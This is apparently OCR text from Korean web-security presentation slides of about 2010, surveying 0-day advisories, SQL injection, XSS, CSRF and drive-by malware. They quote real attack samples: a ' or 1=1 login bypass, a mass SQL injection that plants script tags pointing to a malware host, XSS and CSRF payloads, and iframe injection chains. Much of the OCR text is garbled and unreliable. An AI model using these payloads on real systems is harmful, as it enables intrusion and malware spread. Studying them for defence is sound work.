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|/* Buffer Overflow */
char buffer[96];
strcpy(buffer, large_string);
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0-Day Exploits
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Microsoft Out-of-Band bulletin addresses LNK/Shortcut vulnerability

Published: 2010-08-02,
Last Updated: 2010-08-12 18:43:36 UTC
by Johannes Ullrich {(Version: 1)

15 comment(s)

As announced on Friday, Microsoft release
announcement, various malware is now at
available to craft necessary shortcuts.

Clients are the main target but servers ar

# Affected

Microsoft Security Advisory (2286198)
Vulnerability in Windows Shell Could Allow Remote Code Execution

Published: July 16, 2010 | Updated: August 02, 2010

Version: 2.0

Microsoft has completed the investigation into a public report of this vulnerability. We have issued M510-046 to address this issue
download links for an available security update, please review M310-046. The vulnerability addressed is the Shortcut Icon Loading

Resources:
» fou can provide feedback by completing the form by wvisiting the following Web =ite.

» Customers in the United States and Canada can receive technical support from Security Support. For more information about a
and Support Web site.

» International customers can receive support from their local Microsoft subsidiaries. For maore information about how to contact
Internaticnal Support Web =ite.

» The Microsoft TechMet Security Web site provides additional information about security in Microsoft products.

Vulnerability in Windows Shell {LNK/Shortcut)

MS10-046  \windows Shell

CWVE-2010-2568 =

l ~ ' - l \| BUSINESS PLATFORM

Microsoft Security Bulletin MS10-046 - Critical
Vulnerability in Windows Shell Could Allow Remote Code Execution (2286198)

Published: August 02, 2010 | Updated: August 03, 2010

Version: 1.1
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=[ metasploift wv3.4,.2-dev [core:3.4 api:l.0]

G e E A E T T R R A ek e T A e da Y
+ -- --=[ 212 payloads - 27 encoders - 8§ nops

=[ svn r9311 updated [2E1E, @7, 217

Warning: This copy of the Metasploift Framework was last updated .
We recommend that you update the framework at least ewvery other day.
For information on updating your copy of Metasploit, please see:
http:fwww . metasploit. comd redminefprojects/ framework/wiki/sUpdating

=
L1
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0-Day Exploits

commuption. Tis can allow asbitrary code execution

i05 4.0.2 Update for iPhone and iPod touch
n FreeType

CVE-ID: CVE-2010-17897

Available for: 105 2.0 through 4.0.1 for iPhone 3G and later, i03 2.1 through 4.0 for iPod touch (2nd generation) and later

A 11:22

Impact: Viewing a PDOF document with maliciously crafted embedded fonts may allow arbitrary code execution J al | b rea k M e

Description: A stack buffer overflow exists in FreeType's handling of CFF opcodes. Viewing a PODF document with
maliciously crafted embedded fonts may allow arbitrary code execution. This issue is addressed through improved
bounds checking.

by comex (et al.)

% M| A obE 7T 2H 11:22 (= ~]
) US-CERT 25

UNITED STATES COMPUTER EMERGENCY READINESS TEAM I ]al “

muebili Vyulnerability Note VU#275247 JailbreakMe
FreeType 2 CFF font stack corruption vulnerability nitp:/jallbreakme.com It mlght work if you try again.

Overview

It looks like the installer crashed last
time you tried to jailbreak. :(

FreeType 2 contains a vulnerability in the processing of CFF fonts, which may allow a remote, unauthenticated attacker to execute arbitrary code on a vulnerable

ffomation 1. Description

More Info »

FreeType is a font engine that can open and process font fles. FreeType 2 includes the ability to handle a mumber of font types. including Compact Font Format (
by anumber of applications, including PDF readers, web browsers, and other applications. FreeType 2 contains a flaw in the handiing of some CFF opcodes, wl

pe This vulnerability is being used in the iPhone PDF JailBreak exploit.
flomber IL. Impact
Name

By causing an application that uses FreeType to parse a specially-crafted CFF font, a remote, unauthenticated attacker may be able to execute arbitrary code on
e Pubiic can occur as the result of opening a PDF document or viewing 2 web page.

le Published III. Solution

AlS|D|F|G|H]J]K]L]

plodeted 4 bk an update

enity Metric . [ ] [ ]
This vulnerability is fixed in the FreeTvpe source tree. Please check with your vendor for an update. : V ﬂ
Vendor Information

her

e Vendor Status  Date Notified Date Updated

ihnical Alerts Apple Inc. Affected 2010-08-04 2010-08-11
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SQL Injection

O| A7t YH A0 Lt 2 22 S+ 24 YEUSU

v = X=NL
id : admin Web App ‘
passwd : ' or 1=1-2
Web App '
Web Web
Client Server Web App ‘
W

Web App

SELECT * FROM USER_DB WHERE

ID=’ " AND PW='
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SQL Injection /A

POST /crapxxxtxxx .asp;:DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST

(0xX4400450043004C004100520045002000400054002000760061007200630068006100720028003
2003500350C004000430020007600610072006300680061007200280032003500350029002000440

AARAAA2IONACOANA4LNNE2NANARANAIANNACANARNANRSANAEANNDMNOMAASAOAR2ANACANA DNN2ANN2NNNEANNEY N

DECLARE @T varchar(255),@C varchar(255) DECLARE Table_Cursor

OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C

=4

-1

0f4

FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE

Table_Cursor DECLARE @T varchar(255),@C

y



HDS| 3.0 7==(72872HRAE) www. Jiaozhu,net QQ:2005022

HDSI 3.0

Mit HackKing absis S 7
TE 2005-6-22 B
ESRIE 3
- SEAG B [?'="£- /7127.0.0.1:8282/bad/board/content_view. aspTrnum=236 'l ﬁ};gg ¢ ERER — jueny
2HEAS
veEs | ' |---i/f16.5wf _I
[---il.html ---|---i/f28.5wf
DECLARE @T varchar(255),@C varchar{4000) DECLARE Table_Cursor CURSOR FOR |--- Flash.htm ------- | |---i/f64.swF
select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype="u' | ' |--- f2.html ———I———iffliS awf
and (b.xtype=989 or b.xtype=35 or b.xtype=231or b.xtype=167) OPEN Table_Cursor |--- 06014.htm ' |---i/f45 swlf
FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE{@@FETCH_STATUS=0) - | ’ |———i,fffll-? swf
BEGIN exec('update ['+@T+'] set [+@C+']=["+@C+']+""==</title=<script src="hXXp://sdo. ™ w j5 --- new.htm --- |--- yahoo.htm-- | ’
1000mg.cn/csrss/w.js"=</script=<!--" where '+@C+' not like "%"></title=<script src="hXXp: ’ ’ | ' |
//sdo. 1000mg.cn/csrss/w.js"=</script=<!--"") FETCH NEXT FROM Table_Cursor INTO k |--- office.htm-- | --rondil32.exe--msyahoo.exe--wsv.exe/thunder.exe
@T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor% AS% CHAR(@) P | |
: D | edUg [ 2ER... | ID | &7 |- kexhtm ==
Lot 1 Zip-code 40076 [J1 content varchar qwe
: 2 notice_info 0 2 email varchar nject
3 MyBoard 6152 3 homepage varchar 'Tnject
EEE 4 member_info 5 [J4 ip_addr varchar niect
] dtproperties 0 15 name varchat 'nject
6 uploadfile_info 1 o . 3 Tmject e
< - 6 num int
PHPEA 7 repiy_board 1 = - pe rarcha nject.
- = 07 pwd varchar
8 cormd_list 11 (18 readnum int 'inject
o readnum )
- = e Inject
WehShell 3% ]9 title varchat Iniect
[]1. writeday datetime 'ir'z;»;n;t
FEASEIR nject
nject
?2? " e — = g ]
L iz | sk | s ow | mez| me| s | ow | e | [[EE 2l =
28% About [FI2 A&z [F12A238 5 | |
i
HDSI Ver 3.0 Copyright By ?3E GQ:2005022 veww Jizozhu net 08T 1 Y T T O O O T A0 T
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XSS (Cross Site Scripting)

Microsoft Internet Explo
A
! : ezuniq=20030909234450, 2909631 g ‘

- XSS (Cross Site Scripting) Cheat
Sheet

\ & Esp: for filter evasion
< /ssEul >

xss attacks information

Home News Articles Adv. Submit Alerts L
XSS Archive | XSS Archive % | TOP Submitters | TOP Submitters % | TOP Pagerank

<a STYLE="background-image:url

(javas&#x0D;cript:doci #x00D  ument.scri&£x0D; ipts.item({0).src="http://dau

mucc.cafe24.com/nk2")" >
a




CSRF
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E-mail mail@mail.com
=HOl A

<IMG src="http:/i _/bbs/admin_setup.php?exec=view_memberé&
exec2=modify_member uk&group no=1&member_no=2&is_admin=1&level=1&
name=test&email=name@addr.com&comment=test’ width=0 hquht-ﬂb
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alse;}:$f=true;MYSENSE sendlog($d):}:function MYSENSE sendlog(sl){var Sm=new X

Image(] ; $m. Hrc='http //log.adsystem.kr/adinfo/log.html'+' 2url="+escape (MYSENSE_ gethdﬁarlable[$1 ‘url'))+'&re
='+escape (MYSENSE_getAdVariable(sl, 'ref'))+' &adw="+escape (MYSENSE_getAdvariable(sl, 'w' ]]+'&adh-'+eacape(HT5
NSE gethdvarlahle[$1 'h ]]+'&H1Dtﬂame-'+e~cape[MYSENSE gethdvarlahle[$1 's|otnane st i

SEHSE_gethdvariable[$ﬂ.ﬂamel{var dc:$n.h

sp=dc. 1ndex0f ("&"+$0) ;1 ($p==-1){$p=dc.1nc adsystem mysense 7C ’ http://www.iga#*.co.kr/hong/o

ok.html

end=dc. index0f("&", $p) ;1 (end==-1)end=dc.
SENSE_setAdurl($q){sb=document.getE lemer : ALO]

1=0: 1t$b 19ﬂgth 1++l{1f($b[ | .src. 1ndex0f (rame 452 )

"nope 1 sre=4ae b et TImeOUTT TGP Nor SETAQUET\ " ¢

locument, wrlte n[“ 1frame wldth-ll he1ght=5 S

rc-u#tﬁﬂ,u#x?4 E#xT4; GxT0; &3 SQF ; G2 G XTT T T; G877 G X2E 6460 ; #X01 ; G X6 B BF ; G#X6E ; G2 : &
63 ;& X6F ; &#x2E ; G#xOB & XT2 & x2F ; L x08 & XOF ; G xBE ; G067 G ¥2F & xT2; Lt xBF & x6F ; & 6B ; & x2E & %68 & x T4 &

'EU'&#KEE'}ﬁE’ifTEmE}" :

I )=~ susiness pLatrorm [ZX : http://hummingbird.tistory.com/2346]
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|/ hcecounter 2224 2504 F —

// A US:RT‘“FO :g_/. <iframe src=koder.html width=133 height=1l border=0></iframe>

- <k
>

<script =src="http://s123.cnzz.com/stat.php?id=501944&web id=5015:

[Ivar NL cookie = String(docy . mn>
[Ivar NL id = ', NL gd ® ! =u=to

acemagazine code.js --» rook_html --> koder _html _._.

“ koder .html
v My o -—-  Kkol.htm -———- kof .htm
// ﬁcech unter ~ 1-: firefox —-> Kkf.htm
etc —» ki.htm ———» iAS.suwf, i64.swf, iA&7.swf, i115.suwf
1) 1y
var NU rl = 'http:// '+ wwwe,
L g p -—— ko?.htm —-- » koFi.htm

JLE( UL boandexOf (NEISCAE ) | - wsreom—> MR —> party. s

MSIE7-—-> Ko9.htm

- setTimeout (NCHKIMG. sro = NU_fl___ brse —= and-hemd - | L

document . writeln('¢scr's ot lanquage=javascript' src= htip://www. LOFﬂ;dDC 8/magazine/acecaunter/ebi
document .writeln('(cr's Intlanguage=javascriptl, 1" id='_NL.hde'> NL.sv=11} ¢/ser's

100 ;
document . writeln('(scr'sint language=javascriptl. | sro="hltp:/fwww,  com/doce/magazine/acecounter/s
documens . writeln('¢scr's ot lanquage='javascript sro="htto//www  .com/docs/magazine/acecounter/eki
bocumnt.wrine (‘Citrame wicth="10" height="0' erc="http://hbs.val.co.ke/bbs/data/images/rook himl"></frame)'} ;
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20 €| hitp://jsunpack. jeek org/dec/go
Cooxiev |9 links on page: - |Proxy: (none) »| ) TypedURLs ) Visited URLs ) Cache 4) Auto
URL Status
naocan net'images nb.exe eferer=y

0249 detected

-
- AN -

suspicious: MSIEUseAfterFree CVE-2!

suspicious: analysts exceeded 30
suspicious: Waming detected
99y

suspicious: shellcode of length 96
malicious: XOR key [shellcode]: |
malicious: shellcode [xor] URL=v
ShellcodePattern dete

SUSPICIOUS:

10] mput_upload
suspicionus: \(SIEUseAfterFre

mfo ObfuscationPattern deted

Mo [decodinglevel=0] found
SUSPICIONS: analvsis exceeded
mio: [decodnglevel=0] decog
suspicious: Warning datected
VI
shelicode of leng
LOR shelicod

susiaous nelicode of

Microsoft Security Advisory (979352) X
Vulnerability in Internet Explorer Could Allow Remote Code Execution

- g
2010 2010

Published: January 14 Updated: January 21

Version: 2.0

General Information

Executive Summary

Micro=oft has completed the investigation the public reports of this vulnerability. We
have izzued MS10-002 to address this issue. For more information about this issue,
including download links for an available security update, pleasze review M510-002.
The vulnerability addres=sed is the HTML Object Memory Corruption Vulnerability -
CAVE-2010-0249,
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AntiVir 8$2.1.180 2010.05.05 IR Dropper. Gen

Antrv-AVL

o

23

Authentium 5205 2010.03.06 2RLPackad A gen'Eldorado
Avast 48.1351.0 2010.03.07 -

Avastd 5.0.332.0 2010.03.07 -

AVG $.0.0.787 2010.05.07 Klons

BitDefender 7.2 2010.05.07 Gen:Trojan.Genenc.cml @aSlem Ykt
CAT-QuickiHeal 10.00 2010.03.06 -
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Comedo 081 2010.02.28 -
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OWASP TOP 10 —

A3: Broken

A2: Cross Site Authentication and A4 Insecure Direct
Scripting (XSS) Session Object References
Management

A1l Injection

A5: Cross Site NS it A7:.Insecure A8 Fai
Request Forgery

) X g Cryptographic )
(CSRF) Misconfiguration Stolans Restrict

A9: Insufficient A10: Unvalidated
Transport Layer Redirects and
Protection Forwards

% J == | ™= BUSINESS PLATFORM
Reference : http://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project
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Apache 2 Test Page

powered by Ce ntOS
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If you are a member of
the general public:

The fact that you are seeing
this page indicates that the
wehsite vou inst visited is

If you are the
administrato

You may now a|
the
directory fvar

Warning: require_once{class.

in fvar/www/hitml/'game/game.php on line 5

'class.
in fvar/www/hitml/'game/game.php on line 5

include 75 7}A|..

[function require-once]: failed to open stream: No such file or directory

Fatal error: require _once() [function require]: Failed opening required
php' (include_path="_~var/www

of|2{ H|A|R] 2{2] O|=, remote file
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= ﬁl Scan Thread 1 ( http-:, . - . - vif )
= [l Web Alerts (1141)

+ © 5QLinjection (63)

# @ Cross Site Scripting (139)

%+ © Blind SQL/XPath injection (6)

+ @ Blind SQL injection (timing) (3)

4+ @) Application error message (530)

4+ ) PHP invalid data type error message (84)

+ ) Cookie manipulation (S)
() Backup files (4)
) @ URL redirection (4)
© Possible sensitive directories (2)
© Broken links (32)
ANALYSIS S + @ GHDB: Apache Tomcat Error message (62)
© Possible CSRF (Cross-site request forgery) (207,
s ow Network Alerts (2)
+ © 5MB null session (1)
+ © Windows Terminal Services server running (1)
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